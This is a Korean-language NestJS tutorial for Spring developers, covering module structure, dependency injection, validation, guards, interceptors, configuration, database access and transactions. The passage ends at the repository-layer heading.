NestJS 는 Spring 의 구조를 노드로 옮겨 온 프레임워크입니다. 모듈 · DI · 컨트롤러 · 서비스 · 인터셉터 · 가드가 거의 1:1 로 대응됩니다. Express 가 자유를 준다면 Nest 는 일관성을 줍니다 — 팀이 커질수록 후자가 이깁니다. 여기까지 마치면 여러 명이 함께 고치는 백엔드 서비스를 Nest 구조로 설계하고 운영할 수 있습니다.

17SECTIONS
DI스프링과 동일 개념
TS기본 언어
11최신 메이저
NEST 01

Nest 가 필요한 순간

항상 Nest 가 정답은 아닙니다. 기준을 먼저 세웁시다.

Express 와의 비교

항목Express / NestJS
구조자유 (팀마다 제각각) / 강제 (어디 가나 같은 모양)
DI없음 (직접 import) / 내장
학습 곡선낮음 / 높음 (데코레이터·모듈 개념)
보일러플레이트적음 / 많음
테스트직접 구성 / 테스트 모듈 제공
적합한 규모~중형 / 중형 이상 · 장기 유지보수
이럴 때 Nest 를 고르세요 — ① 팀이 3명 이상, ② 서비스가 1년 이상 갈 예정, ③ 자바 개발자가 팀에 있음(학습 비용이 거의 0), ④ 트랜잭션·권한·이벤트 같은 횡단 관심사가 많음.
이럴 때는 과합니다 — 엔드포인트가 10개 미만인 사내 도구, 람다·서버리스(콜드 스타트가 느려집니다), 빠르게 검증하고 버릴 프로토타입.

스프링과의 대응표 — 자바 개발자용

Spring BootNestJS
@SpringBootApplication@Module (AppModule)
@RestController@Controller
@Service@Injectable
@Repository@Injectable + TypeORM Repository
생성자 주입동일 (constructor(private x: X))
@Valid + Bean ValidationValidationPipe + class-validator
@ControllerAdviceExceptionFilter
Spring Security 필터Guard
AOP @AroundInterceptor
@Transactional수동 또는 @Transactional 라이브러리
application.ymlConfigModule + .env
가장 큰 차이 하나 — Nest 의 @Transactional 은 기본 제공이 아닙니다. 스프링처럼 애너테이션 하나로 트랜잭션이 걸릴 것이라 기대하면 안 됩니다. s12 에서 실무 해법을 다룹니다.
같은 기능을 만들어도 구조가 다릅니다 — 사람이 늘면 규칙이 이깁니다 Express — 자유 routes/user.js 안에 검증 · 로직 · 쿼리가 함께 혼자 만들 때 가장 빠릅니다 팀원마다 배치가 달라집니다 테스트하려면 서버를 띄워야 합니다 규칙은 문서와 리뷰로만 지켜집니다 Nest — 자리가 정해짐 Controller Service Repository 받기 · 정하기 · 저장하기가 나뉩니다 새 사람이 와도 파일을 바로 찾습니다 가짜 구현으로 갈아 끼워 테스트합니다 규칙을 프레임워크가 강제합니다 혼자 · 작게 = Express · 사람 셋 이상 · 오래 갈 서비스 = Nest
Nest 의 값은 기능이 아니라 다음 사람이 헤매지 않는 것에서 나옵니다.
NEST 02

프로젝트 구조 · CLI

CLI 가 파일을 만들어 줍니다. 정해진 자리에 정해진 이름으로.

시작하기

npm i -g @nestjs/cli
nest new my-api                     # 프로젝트 생성

# 리소스 한 벌 통째로 (컨트롤러·서비스·DTO·테스트)
nest g resource users               # ★ 가장 많이 씁니다

# 개별 생성
nest g module orders
nest g controller orders
nest g service orders
nest g guard auth
nest g interceptor logging
nest g pipe validation

npm run start:dev                   # 감시 모드
npm run build && npm run start:prod
src/
  main.ts                  부트스트랩 (전역 파이프·CORS·Swagger)
  app.module.ts            루트 모듈
  common/
    filters/               예외 필터
    guards/                가드
    interceptors/          인터셉터
    decorators/            커스텀 데코레이터
    dto/                   공통 DTO (페이지네이션 등)
  config/
    configuration.ts       설정 로더 + 검증
  modules/
    users/
      users.module.ts
      users.controller.ts
      users.service.ts
      dto/create-user.dto.ts
      entities/user.entity.ts
      users.service.spec.ts
    orders/
      ...

main.ts — 실무 기본형

import { NestFactory } from "@nestjs/core";
import { ValidationPipe, VersioningType } from "@nestjs/common";
import helmet from "helmet";

async function bootstrap() {
  const app = await NestFactory.create(AppModule, {
    bufferLogs: true,                       // 로거 준비 전 로그를 모아 둠
  });

  app.use(helmet());
  app.enableCors({ origin: process.env.ALLOWED_ORIGINS?.split(",") });
  app.setGlobalPrefix("api");
  app.enableVersioning({ type: VersioningType.URI });   // /api/v1/...

  // ★ 전역 검증 파이프 — 이 설정이 핵심입니다 (s06)
  app.useGlobalPipes(new ValidationPipe({
    whitelist: true,                 // DTO 에 없는 속성 제거
    forbidNonWhitelisted: true,      // 있으면 에러
    transform: true,                 // 문자열 → 숫자 자동 변환
    transformOptions: { enableImplicitConversion: true },
  }));

  app.enableShutdownHooks();         // ★ SIGTERM 처리 (s16)

  await app.listen(process.env.PORT ?? 3000);
}
bootstrap();
whitelist: true 를 반드시 켜세요. DTO 에 정의하지 않은 필드를 자동으로 제거합니다. 이것이 없으면 { role: "admin" } 을 몰래 넣는 Mass Assignment 공격에 노출됩니다.
NEST 03

모듈 · 의존성 주입

Nest 의 뼈대입니다. 이 절만 이해하면 나머지는 문법입니다.

모듈 — 기능의 경계

@Module({
  imports: [                      // 이 모듈이 쓸 다른 모듈
    TypeOrmModule.forFeature([User]),
    forwardRef(() => OrdersModule),      // 순환 참조 해결
  ],
  controllers: [UsersController], // HTTP 진입점
  providers: [                    // 주입 가능한 것들
    UsersService,
    UsersRepository,
    { provide: "CACHE_TTL", useValue: 300 },        // 값 주입
    { provide: MailService, useClass: SmtpMailService },  // 구현 교체
    {                                                // 팩토리
      provide: "REDIS",
      useFactory: (cfg: ConfigService) => createClient({ url: cfg.get("REDIS_URL") }),
      inject: [ConfigService],
    },
  ],
  exports: [UsersService],        // ★ 다른 모듈에 공개할 것 (안 적으면 못 씁니다)
})
export class UsersModule {}
가장 흔한 에러 — Nest can't resolve dependencies of X. 원인은 셋 중 하나입니다: ① 프로바이더를 providers 에 안 넣음, ② 다른 모듈 것인데 그쪽에서 exports 를 안 함, ③ 그 모듈을 imports 에 안 넣음.

의존성 주입 — 왜 좋은가

@Injectable()
export class UsersService {
  constructor(
    private readonly repo: UsersRepository,        // ★ 타입만 적으면 주입됩니다
    private readonly mailer: MailService,
    @Inject("CACHE_TTL") private readonly ttl: number,   // 토큰으로 주입
  ) {}
}

// 테스트에서는 가짜로 갈아 끼울 수 있습니다
const module = await Test.createTestingModule({
  providers: [
    UsersService,
    { provide: UsersRepository, useValue: mockRepo },   // ★
    { provide: MailService, useValue: { send: vi.fn() } },
    { provide: "CACHE_TTL", useValue: 60 },
  ],
}).compile();

전역 모듈과 동적 모듈

// 어디서나 쓰이는 것 (Config·Logger·Prisma)
@Global()
@Module({ providers: [PrismaService], exports: [PrismaService] })
export class PrismaModule {}
// ★ 남용하지 마세요 — 의존 관계가 안 보이게 됩니다

// 동적 모듈 — 설정을 받아 구성 (라이브러리에서 흔한 패턴)
@Module({})
export class MailModule {
  static forRoot(options: MailOptions): DynamicModule {
    return {
      module: MailModule,
      providers: [{ provide: "MAIL_OPTIONS", useValue: options }, MailService],
      exports: [MailService],
    };
  }
}
// AppModule 에서: MailModule.forRoot({ host: ... })
스코프 — 기본은 싱글턴(앱 전체에 하나)입니다. Scope.REQUEST 로 요청마다 새로 만들 수 있지만 성능이 크게 떨어집니다. 요청 정보가 필요하면 AsyncLocalStorage(🟩 Node n16)나 CLS 를 쓰세요.
의존성 주입 — 필요한 것을 직접 만들지 않고 받아 씁니다 UsersModule UsersController UsersService constructor(private users: UsersService) — 타입만 적으면 끝 new 를 쓰지 않습니다. 컨테이너가 만들어 넣습니다 기본은 싱글턴 — 앱 전체에서 한 개 DbModule DbService exports 에 넣어야 밖에서 쓸 수 있습니다 이쪽은 imports 에 추가 테스트에서는 같은 자리에 가짜 구현을 넣습니다 — DB 없이 검증 가능 가장 흔한 에러 — "Nest can't resolve dependencies" 는 대개 exports 나 imports 를 빠뜨린 것입니다
DI 는 어려운 이론이 아니라 바꿔 끼울 수 있게 만드는 배선입니다.
NEST 04

컨트롤러 · 라우팅

URL 과 함수를 잇는 얇은 층. 로직을 여기 두지 마세요.

기본형

@Controller("users")            // → /api/users
export class UsersController {
  constructor(private readonly service: UsersService) {}

  @Get()
  findAll(@Query() query: ListUsersDto) {
    return this.service.findAll(query);      // ★ Promise 를 그냥 반환하면 됩니다
  }

  @Get(":id")
  findOne(@Param("id", ParseIntPipe) id: number) {   // ★ 변환+검증
    return this.service.findOne(id);
  }

  @Post()
  @HttpCode(201)
  create(@Body() dto: CreateUserDto) {
    return this.service.create(dto);
  }

  @Patch(":id")
  update(@Param("id", ParseIntPipe) id: number,
         @Body() dto: UpdateUserDto) {
    return this.service.update(id, dto);
  }

  @Delete(":id")
  @HttpCode(204)
  remove(@Param("id", ParseIntPipe) id: number) {
    return this.service.remove(id);
  }
}

자주 쓰는 데코레이터

데코레이터용도
@Param @Query @Body요청 값
@Headers @Ip @Session메타 정보
@Req @Res원본 객체 — 가급적 쓰지 마세요
@HttpCode @Header @Redirect응답 제어
@UseGuards @UseInterceptors @UseFilters파이프라인
@UsePipes변환·검증
// 커스텀 데코레이터 — 실무에서 반드시 만들게 됩니다
export const CurrentUser = createParamDecorator(
  (data: keyof JwtUser | undefined, ctx: ExecutionContext) => {
    const req = ctx.switchToHttp().getRequest();
    return data ? req.user?.[data] : req.user;
  },
);

// 사용
@Get("me")
getMe(@CurrentUser() user: JwtUser) {
  return this.service.findOne(user.id);
}
@Get("my-orders")
myOrders(@CurrentUser("id") userId: number) { ... }
@Res() 를 쓰면 Nest 의 자동 응답 처리가 꺼집니다. 인터셉터의 응답 변환·직렬화가 동작하지 않게 되므로, 꼭 필요하면 @Res({ passthrough: true }) 를 쓰세요 (쿠키만 설정하고 반환은 Nest 에 맡기는 경우).
NEST 05

프로바이더 · 서비스

실제 일을 하는 곳. HTTP 를 몰라야 좋은 서비스입니다.

서비스 작성

@Injectable()
export class UsersService {
  private readonly logger = new Logger(UsersService.name);

  constructor(
    private readonly repo: UsersRepository,
    private readonly events: EventEmitter2,
  ) {}

  async create(dto: CreateUserDto): Promise<User> {
    const exists = await this.repo.findByEmail(dto.email);
    if (exists) throw new ConflictException("이미 가입된 이메일입니다");

    const { password, ...rest } = dto;          // ★ 평문 비밀번호는 저장 객체에서 뺍니다
    const user = await this.repo.save({
      ...rest,
      passwordHash: await bcrypt.hash(password, 12),
    });

    this.logger.log(`사용자 생성 id=${user.id}`);
    this.events.emit("user.created", new UserCreatedEvent(user.id));
    return user;
  }

  async findOne(id: number): Promise<User> {
    const user = await this.repo.findById(id);
    if (!user) throw new NotFoundException(`사용자 ${id} 를 찾을 수 없습니다`);
    return user;
  }
}
내장 HTTP 예외를 그대로 쓰세요. NotFoundException·ConflictException· BadRequestException·ForbiddenException 등을 던지면 Nest 가 알맞은 상태 코드로 변환합니다. 도메인 규칙이 복잡해지면 커스텀 예외 + 필터로 확장하세요(s07).

생명주기 훅

@Injectable()
export class CacheWarmer implements OnModuleInit, OnModuleDestroy {
  async onModuleInit() {
    await this.warmUp();            // ★ 앱 시작 시 1회
  }
  async onModuleDestroy() {
    await this.client.quit();       // ★ 종료 시 정리 (enableShutdownHooks 필요)
  }
}

// 순서: onModuleInit → onApplicationBootstrap
//       → (종료) onModuleDestroy → beforeApplicationShutdown → onApplicationShutdown

이벤트로 느슨하게 연결하기

npm i @nestjs/event-emitter
// 발행
this.events.emit("order.created", { orderId, userId });

// 구독 — 다른 모듈에서
@Injectable()
export class OrderCreatedListener {
  @OnEvent("order.created", { async: true })
  async handle(event: OrderCreatedEvent) {
    await this.mail.sendOrderConfirm(event.orderId);
  }
}
이벤트는 “같은 프로세스 안”에서만 동작합니다. 서버가 죽으면 처리 중이던 이벤트는 사라집니다. 메일 발송·정산처럼 반드시 처리돼야 하는 일은 이벤트가 아니라 큐를 쓰세요(s13 · 🚀 대규모 k07).
NEST 06

DTO · 파이프 · 검증

입구에서 걸러 내면 뒤쪽 코드가 전부 안전해집니다.

class-validator 방식 (Nest 기본)

npm i class-validator class-transformer
export class CreateUserDto {
  @IsEmail({}, { message: "이메일 형식이 아닙니다" })
  email: string;

  @IsString()
  @MinLength(8)
  @Matches(/[0-9]/, { message: "숫자를 포함해야 합니다" })
  password: string;

  @IsString()
  @Length(1, 50)
  name: string;

  @IsOptional()
  @IsInt()
  @Min(0) @Max(150)
  @Type(() => Number)          // ★ 쿼리는 문자열이므로 변환 필요
  age?: number;

  @IsEnum(Role)
  role: Role = Role.USER;

  @ValidateNested({ each: true })   // 중첩 객체 검증
  @Type(() => AddressDto)
  addresses: AddressDto[];
}

// 부분 업데이트용 — 전부 optional 로 만들어 줍니다
export class UpdateUserDto extends PartialType(CreateUserDto) {}
// 일부만 골라 쓰기
export class LoginDto extends PickType(CreateUserDto, ["email", "password"]) {}

파이프 — 변환과 검증

// 내장 파이프
@Param("id", ParseIntPipe) id: number
@Query("active", ParseBoolPipe) active: boolean
@Param("uuid", ParseUUIDPipe) uuid: string
@Query("page", new DefaultValuePipe(1), ParseIntPipe) page: number

// 커스텀 파이프
@Injectable()
export class TrimPipe implements PipeTransform {
  transform(value: unknown) {
    return typeof value === "string" ? value.trim() : value;
  }
}

Zod 를 쓰고 싶다면

// class-validator 대신 Zod 로 통일하는 팀도 많습니다
@Injectable()
export class ZodValidationPipe implements PipeTransform {
  constructor(private schema: ZodSchema) {}
  transform(value: unknown) {
    const r = this.schema.safeParse(value);
    if (!r.success) {
      throw new BadRequestException({
        message: "입력값이 올바르지 않습니다",
        errors: r.error.issues.map(i => ({ field: i.path.join("."), message: i.message })),
      });
    }
    return r.data;
  }
}

@Post()
create(@Body(new ZodValidationPipe(CreateUserSchema)) dto: CreateUserDto) {}
어느 쪽을 고를까 — class-validator 는 Nest·Swagger 와 통합이 매끄럽습니다. Zod 는 프런트엔드와 스키마를 공유하고 타입을 자동 생성할 수 있습니다. 둘을 섞지 말고 하나로 통일하세요.
NEST 07

예외 필터

스프링의 @ControllerAdvice 와 같은 역할입니다.

전역 예외 필터

@Catch()                               // 모든 예외
export class AllExceptionsFilter implements ExceptionFilter {
  private readonly logger = new Logger("Exception");

  catch(exception: unknown, host: ArgumentsHost) {
    const ctx = host.switchToHttp();
    const res = ctx.getResponse<Response>();
    const req = ctx.getRequest<Request>();
    const requestId = req.headers["x-request-id"];

    // ① Nest 내장 예외
    if (exception instanceof HttpException) {
      const status = exception.getStatus();
      const body = exception.getResponse();
      if (status >= 500) this.logger.error({ exception, requestId });
      return res.status(status).json({ ...normalize(body), requestId });
    }

    // ② 라이브러리 예외 변환
    if (exception instanceof Prisma.PrismaClientKnownRequestError) {
      if (exception.code === "P2002")
        return res.status(409).json({ code: "DUPLICATE", requestId });
      if (exception.code === "P2025")
        return res.status(404).json({ code: "NOT_FOUND", requestId });
    }

    // ③ 예상치 못한 것 — 내부 정보를 감춥니다
    this.logger.error({ exception, path: req.url, requestId }, "처리되지 않은 예외");
    res.status(500).json({
      code: "INTERNAL_ERROR", message: "서버 오류가 발생했습니다", requestId,
    });
  }
}

// main.ts
app.useGlobalFilters(new AllExceptionsFilter());

도메인 예외 설계

// 비즈니스 규칙 위반은 HTTP 를 몰라도 되게
export class DomainError extends Error {
  constructor(message: string, public readonly code: string) {
    super(message);
    this.name = this.constructor.name;
  }
}
export class InsufficientStockError extends DomainError {
  constructor(productId: number) {
    super(`상품 ${productId} 의 재고가 부족합니다`, "INSUFFICIENT_STOCK");
  }
}

// 필터에서 HTTP 로 매핑
const DOMAIN_STATUS: Record<string, number> = {
  INSUFFICIENT_STOCK: 409,
  PAYMENT_DECLINED: 402,
  LIMIT_EXCEEDED: 429,
};

@Catch(DomainError)
export class DomainExceptionFilter implements ExceptionFilter {
  catch(err: DomainError, host: ArgumentsHost) {
    const res = host.switchToHttp().getResponse();
    res.status(DOMAIN_STATUS[err.code] ?? 400)
       .json({ code: err.code, message: err.message });
  }
}
왜 이렇게 나누나 — 서비스 계층이 NotFoundException(HTTP 개념)을 던지면 같은 서비스를 큐 워커나 배치에서 재사용할 때 어색해집니다. 도메인 예외로 던지고 변환은 필터에서 하면 계층이 깔끔하게 유지됩니다.
NEST 08

가드 · JWT 인증

“이 사람이 들어와도 되는가”를 판단하는 문지기입니다.

JWT 인증 구성

npm i @nestjs/jwt @nestjs/passport passport passport-jwt bcrypt
@Module({
  imports: [
    PassportModule,
    JwtModule.registerAsync({
      inject: [ConfigService],
      useFactory: (cfg: ConfigService) => ({
        secret: cfg.getOrThrow("JWT_SECRET"),
        signOptions: { expiresIn: "15m", issuer: "my-api" },
      }),
    }),
  ],
  providers: [AuthService, JwtStrategy, JwtAuthGuard],
  exports: [AuthService],
})
export class AuthModule {}
@Injectable()
export class JwtStrategy extends PassportStrategy(Strategy) {
  constructor(cfg: ConfigService, private users: UsersService) {
    super({
      jwtFromRequest: ExtractJwt.fromAuthHeaderAsBearerToken(),
      ignoreExpiration: false,
      secretOrKey: cfg.getOrThrow("JWT_SECRET"),
    });
  }
  // 반환값이 req.user 에 들어갑니다
  async validate(payload: JwtPayload) {
    return { id: Number(payload.sub), role: payload.role };
  }
}

전역 가드 + 공개 엔드포인트

// ★ 기본을 "인증 필요"로 두고, 공개할 것만 표시하는 편이 안전합니다
export const IS_PUBLIC = "isPublic";
export const Public = () => SetMetadata(IS_PUBLIC, true);

@Injectable()
export class JwtAuthGuard extends AuthGuard("jwt") {
  constructor(private reflector: Reflector) { super(); }

  canActivate(ctx: ExecutionContext) {
    const isPublic = this.reflector.getAllAndOverride<boolean>(IS_PUBLIC, [
      ctx.getHandler(), ctx.getClass(),
    ]);
    if (isPublic) return true;
    return super.canActivate(ctx);
  }
}

// app.module.ts — 전역 등록
providers: [{ provide: APP_GUARD, useClass: JwtAuthGuard }]

// 사용
@Public()
@Post("login")
login(@Body() dto: LoginDto) { ... }

권한(역할) 가드

export const Roles = (...roles: Role[]) => SetMetadata("roles", roles);

@Injectable()
export class RolesGuard implements CanActivate {
  constructor(private reflector: Reflector) {}
  canActivate(ctx: ExecutionContext): boolean {
    const required = this.reflector.getAllAndOverride<Role[]>("roles", [
      ctx.getHandler(), ctx.getClass(),
    ]);
    if (!required?.length) return true;
    const { user } = ctx.switchToHttp().getRequest();
    if (!required.includes(user?.role))
      throw new ForbiddenException("권한이 없습니다");
    return true;
  }
}

@Roles(Role.ADMIN)
@Delete(":id")
remove(@Param("id") id: number) { ... }
실행 순서를 기억하세요 — 미들웨어 → 가드 → 인터셉터(전) → 파이프 → 핸들러 → 인터셉터(후) → 필터. 가드에서 req.user 를 채우므로 파이프·핸들러에서 쓸 수 있습니다. 인터셉터에서 인증을 하려 하면 순서가 꼬입니다.
요청이 지나는 순서 — 가드는 파이프보다 먼저입니다 미들웨어 가드 인증 · 권한 인터셉터(전) 파이프 DTO 검증 핸들러 응답은 인터셉터를 거꾸로 지나갑니다 가드 — canActivate 가 true 면 통과 JWT 를 검증해 req.user 를 채웁니다 @UseGuards(JwtAuthGuard, RolesGuard) 전역으로 걸고 공개 라우트만 예외 표시하는 편이 안전 인증과 권한은 다른 질문입니다 인증 — "누구인가" (토큰이 유효한가) 권한 — "이걸 해도 되는가" (역할 · 소유자인가) 소유자 확인은 대개 서비스 계층에서 해야 합니다 순서를 아는 이유 — 인증 실패는 검증보다 먼저 401 로 끝나야 합니다. 파이프에서 400 이 먼저 나가면 정보가 새어 나갑니다 예외 필터는 이 전 과정의 바깥을 감싸므로, 어디서 던져도 한 형식으로 응답할 수 있습니다
데코레이터를 어디에 붙일지는 이 순서 하나로 정해집니다.
NEST 09

인터셉터 · 미들웨어

모든 요청 앞뒤에 공통 처리를 끼워 넣는 자리. 스프링 AOP 와 같습니다.

인터셉터 — 응답 변환 · 로깅 · 타임아웃

// ① 응답 형태 통일
@Injectable()
export class TransformInterceptor<T> implements NestInterceptor<T, ApiResponse<T>> {
  intercept(ctx: ExecutionContext, next: CallHandler) {
    return next.handle().pipe(
      map(data => ({ success: true, data, timestamp: new Date().toISOString() })),
    );
  }
}

// ② 소요 시간 로깅
@Injectable()
export class LoggingInterceptor implements NestInterceptor {
  private readonly logger = new Logger("HTTP");
  intercept(ctx: ExecutionContext, next: CallHandler) {
    const req = ctx.switchToHttp().getRequest();
    const start = Date.now();
    return next.handle().pipe(
      tap(() => this.logger.log(
        `${req.method} ${req.url} ${Date.now() - start}ms`)),
    );
  }
}

// ③ 타임아웃 — 오래 걸리는 요청 끊기
@Injectable()
export class TimeoutInterceptor implements NestInterceptor {
  intercept(ctx: ExecutionContext, next: CallHandler) {
    return next.handle().pipe(
      timeout(10_000),
      catchError(e => e instanceof TimeoutError
        ? throwError(() => new RequestTimeoutException())
        : throwError(() => e)),
    );
  }
}
인터셉터는 RxJS 를 씁니다. map·tap·catchError 세 개만 알면 실무의 90%는 커버됩니다. RxJS 를 깊게 배울 필요는 없습니다.

민감 정보 제거 — 직렬화

// 엔티티에 표시하고
export class User {
  id: number;
  email: string;
  name: string;
  role: string;

  @Exclude()                 // ★ 응답에서 자동 제거
  passwordHash: string;

  @Expose()
  get displayName() { return `${this.name}(${this.role})`; }
}

// 전역으로 켜기
app.useGlobalInterceptors(new ClassSerializerInterceptor(app.get(Reflector)));
비밀번호 해시가 API 응답에 나가는 사고는 정말 자주 일어납니다. @Exclude() 를 쓰거나, 아예 응답 DTO 를 따로 만드세요. 엔티티를 그대로 반환하는 습관이 원인입니다(🔷 TS t15).

미들웨어 — Express 그대로

@Injectable()
export class RequestIdMiddleware implements NestMiddleware {
  use(req: Request, res: Response, next: NextFunction) {
    const id = (req.headers["x-request-id"] as string) ?? randomUUID();
    req.headers["x-request-id"] = id;
    res.setHeader("x-request-id", id);
    next();
  }
}

export class AppModule implements NestModule {
  configure(consumer: MiddlewareConsumer) {
    consumer.apply(RequestIdMiddleware).forRoutes("*");   // ★ Nest 11(Express 5)은 "{*splat}"
    consumer.apply(RawBodyMiddleware)
            .forRoutes({ path: "webhooks/*", method: RequestMethod.POST });
    // ★ Nest 11 부터 와일드카드 문법이 path-to-regexp v8 기준으로 바뀌었습니다
    //   "*" → "{*splat}" · "webhooks/*" → "webhooks/{*splat}"
  }
}
미들웨어 vs 인터셉터 — 미들웨어는 Express 레벨(라우팅 전, 원본 req/res), 인터셉터는 Nest 레벨(응답 값에 접근 가능). 응답을 만지고 싶으면 인터셉터, 요청 전처리는 미들웨어입니다.
요청 한 건이 지나가는 순서 — 내 코드를 어디에 끼울지가 여기서 갈립니다 1 미들웨어 Express 그대로 — 원본 req · res 를 만집니다. 요청 ID 심기에 알맞습니다 2 가드 (Guard) 통과냐 아니냐만 정합니다 — 인증 · 권한. false 면 403 으로 끝납니다 3 인터셉터 — 앞부분 타이머 시작 · 캐시 조회 — 여기서 값을 돌려주면 핸들러를 건너뜁니다 4 파이프 (Pipe) 문자열을 숫자로 바꾸고 DTO 를 검증합니다 — 여기서 막으면 400 5 라우트 핸들러 → 서비스 여기 도착한 값은 이미 인증되고 검증된 값입니다 — 로직만 쓰면 됩니다 6 인터셉터 — 뒷부분 응답 모양 통일 · 소요 시간 로깅 · 캐시에 저장 7 예외 필터 (Exception Filter) 위 어느 단계에서 던져도 전부 여기로 모입니다 — 응답 형식을 한 곳에서 순서를 알면 "어디에 넣을까" 가 정해집니다 — 권한은 2번 · 입력 변환은 4번 · 공통 응답은 6번 전역 · 컨트롤러 · 메서드 세 범위로 붙일 수 있고, 좁은 쪽이 나중에 실행됩니다
Nest 를 배우는 일의 절반은 이 일곱 칸의 이름을 익히는 것입니다.
NEST 10

설정 · 환경 변수

부팅할 때 검증하지 않으면 운영 중에 undefined 로 터집니다.

ConfigModule + 검증

npm i @nestjs/config joi (또는 zod)
// config/configuration.ts
export default () => ({
  port: parseInt(process.env.PORT ?? "3000", 10),
  database: { url: process.env.DATABASE_URL },
  redis: { url: process.env.REDIS_URL },
  jwt: { secret: process.env.JWT_SECRET, expiresIn: "15m" },
});

// app.module.ts
@Module({
  imports: [
    ConfigModule.forRoot({
      isGlobal: true,                    // 어디서나 주입 가능
      load: [configuration],
      envFilePath: [`.env.${process.env.NODE_ENV}`, ".env"],
      cache: true,
      validationSchema: Joi.object({     // ★ 부팅 시 검증
        NODE_ENV: Joi.string().valid("development", "production", "test"),
        PORT: Joi.number().default(3000),
        DATABASE_URL: Joi.string().uri().required(),
        JWT_SECRET: Joi.string().min(32).required(),
      }),
      validationOptions: { abortEarly: false },
    }),
  ],
})
export class AppModule {}
// 사용
constructor(private readonly config: ConfigService) {}

this.config.get<number>("port");
this.config.getOrThrow<string>("jwt.secret");   // ★ 없으면 즉시 에러

타입 안전한 설정 — 권장 형태

// registerAs 로 네임스페이스 + 타입
export const dbConfig = registerAs("database", () => ({
  url: process.env.DATABASE_URL!,
  poolSize: Number(process.env.DB_POOL ?? 10),
}));

// 주입할 때 타입이 살아 있습니다
constructor(
  @Inject(dbConfig.KEY)
  private readonly db: ConfigType<typeof dbConfig>,
) {}

this.db.poolSize;    // ✅ number 로 자동완성
운영 배포에서 가장 많이 나는 사고 — 환경 변수 오타 하나로 undefined 가 되어 DB 에 연결되지 않거나, JWT 시크릿이 undefined 문자열이 되어 누구나 토큰을 위조할 수 있게 됩니다. 검증 스키마는 선택이 아니라 필수입니다.

환경별 설정 전략

.env                 공통 기본값 (커밋 O — 비밀 값 없음)
.env.development     로컬 (커밋 X)
.env.test            테스트용
.env.production      ❌ 만들지 마세요 — 운영은 환경 변수 주입

운영 값 주입 경로
  Docker      -e / --env-file
  K8s         ConfigMap · Secret
  AWS         Parameter Store · Secrets Manager
  Vercel 등   대시보드 환경 변수
같은 이미지를 모든 환경에 쓰세요. 이미지 안에 환경별 설정이 들어가면 “스테이징에서는 됐는데 운영에서 안 되는” 문제가 생깁니다. 이미지는 하나, 설정만 주입이 원칙입니다.
NEST 11

DB — TypeORM · Prisma

둘 다 실무에서 쓰입니다. 선택 기준부터 정리합니다.

무엇을 고를까

항목TypeORM / Prisma
스타일엔티티 클래스(JPA 유사) / 스키마 파일 + 생성된 클라이언트
타입 안전보통 / 매우 강함
Nest 통합공식 모듈(@nestjs/typeorm) / 직접 프로바이더 작성
복잡한 쿼리QueryBuilder 로 유연 / raw SQL 로 빠짐
트랜잭션다양한 방식 / $transaction
자바 경험자익숙함 (JPA 와 유사) / 새로 배워야 함
// TypeORM — 엔티티
@Entity("users")
export class User {
  @PrimaryGeneratedColumn() id: number;
  @Column({ unique: true }) email: string;
  @Column() name: string;

  @OneToMany(() => Order, o => o.user)
  orders: Order[];

  @CreateDateColumn() createdAt: Date;
  @DeleteDateColumn() deletedAt?: Date;     // 소프트 삭제
}

// 모듈 등록
TypeOrmModule.forRootAsync({
  inject: [ConfigService],
  useFactory: (cfg) => ({
    type: "postgres",
    url: cfg.getOrThrow("DATABASE_URL"),
    autoLoadEntities: true,
    synchronize: false,          // ★ 운영에서 true 면 데이터가 날아갑니다
    logging: cfg.get("NODE_ENV") !== "production",
    extra: { max: 10 },          // 커넥션 풀
  }),
})

Prisma 를 Nest 에 붙이기

@Injectable()
export class PrismaService extends PrismaClient
  implements OnModuleInit, OnModuleDestroy {
  async onModuleInit() { await this.$connect(); }
  async onModuleDestroy() { await this.$disconnect(); }
}

@Global()
@Module({ providers: [PrismaService], exports: [PrismaService] })
export class PrismaModule {}

// 서비스에서
constructor(private readonly prisma: PrismaService) {}
const users = await this.prisma.user.findMany({ where: { active: true } });

N+1 을 피하는 법 — 어느 쪽이든

// ❌ N+1 — 사용자 100명이면 쿼리 101번
const users = await repo.find();
for (const u of users) u.orders = await orderRepo.findBy({ userId: u.id });

// ✅ TypeORM — relations 또는 QueryBuilder
await repo.find({ relations: { orders: true } });
await repo.createQueryBuilder("u")
  .leftJoinAndSelect("u.orders", "o")
  .where("u.active = :a", { a: true })
  .getMany();

// ✅ Prisma — include
await prisma.user.findMany({ include: { orders: true } });
운영 필수 설정 — ① TypeORM synchronize: false + 마이그레이션 사용, ② 커넥션 풀 크기 × 서버 대수가 DB 최대 접속 수 이내인지 확인, ③ 느린 쿼리 로깅을 켜 두기. (🚀 대규모 트래픽 k10 에서 자세히)
NEST 12

트랜잭션 · 계층 설계

Nest 에는 스프링 같은 @Transactional 이 기본으로 없습니다.

방법 ① 명시적 트랜잭션 (가장 확실)

// Prisma
async createOrder(dto: CreateOrderDto) {
  return this.prisma.$transaction(async (tx) => {
    const order = await tx.order.create({ data: { ...dto } });

    const r = await tx.stock.updateMany({
      where: { productId: dto.productId, quantity: { gte: dto.qty } },
      data: { quantity: { decrement: dto.qty } },
    });
    if (r.count === 0) throw new InsufficientStockError(dto.productId);
    //  ★ 던지면 자동 롤백됩니다

    await tx.pointHistory.create({ data: { userId: dto.userId, amount: -dto.qty } });
    return order;
  }, { timeout: 5000, isolationLevel: "ReadCommitted" });
}

// TypeORM
await this.dataSource.transaction(async (manager) => {
  await manager.save(order);
  await manager.decrement(Stock, { productId }, "quantity", qty);
});
트랜잭션 안에서 외부 API 를 호출하지 마세요. 결제사 응답을 기다리는 3초 동안 DB 커넥션과 락을 붙잡고 있게 됩니다. 커넥션 풀이 순식간에 마릅니다. 트랜잭션은 짧게, 외부 호출은 바깥에서.

방법 ② 데코레이터로 (AsyncLocalStorage)

npm i @nestjs-cls/transactional nestjs-cls
// 스프링처럼 쓰고 싶다면 이 조합이 사실상 표준입니다
@Injectable()
export class OrdersService {
  @Transactional()                    // ★ 스프링과 같은 느낌
  async createOrder(dto: CreateOrderDto) {
    await this.orderRepo.save(dto);
    await this.stockRepo.decrease(dto.productId, dto.qty);
    // 두 리포지토리가 "같은 트랜잭션"을 자동으로 공유합니다
  }
}
// 내부적으로 AsyncLocalStorage 로 트랜잭션 컨텍스트를 전파합니다
// (🟩 Node n16 의 요청 ID 전파와 같은 원리)

계층 규칙 — 이것만 지키면 됩니다

Controller
HTTP 만 안다 검증된 DTO 를 서비스에 넘기고 결과를 반환. 여기 로직 금지
▼
Service
비즈니스 규칙 · 트랜잭션 경계 HTTP 를 모릅니다. 큐 워커·배치에서도 그대로 재사용됩니다.
▼
Repository
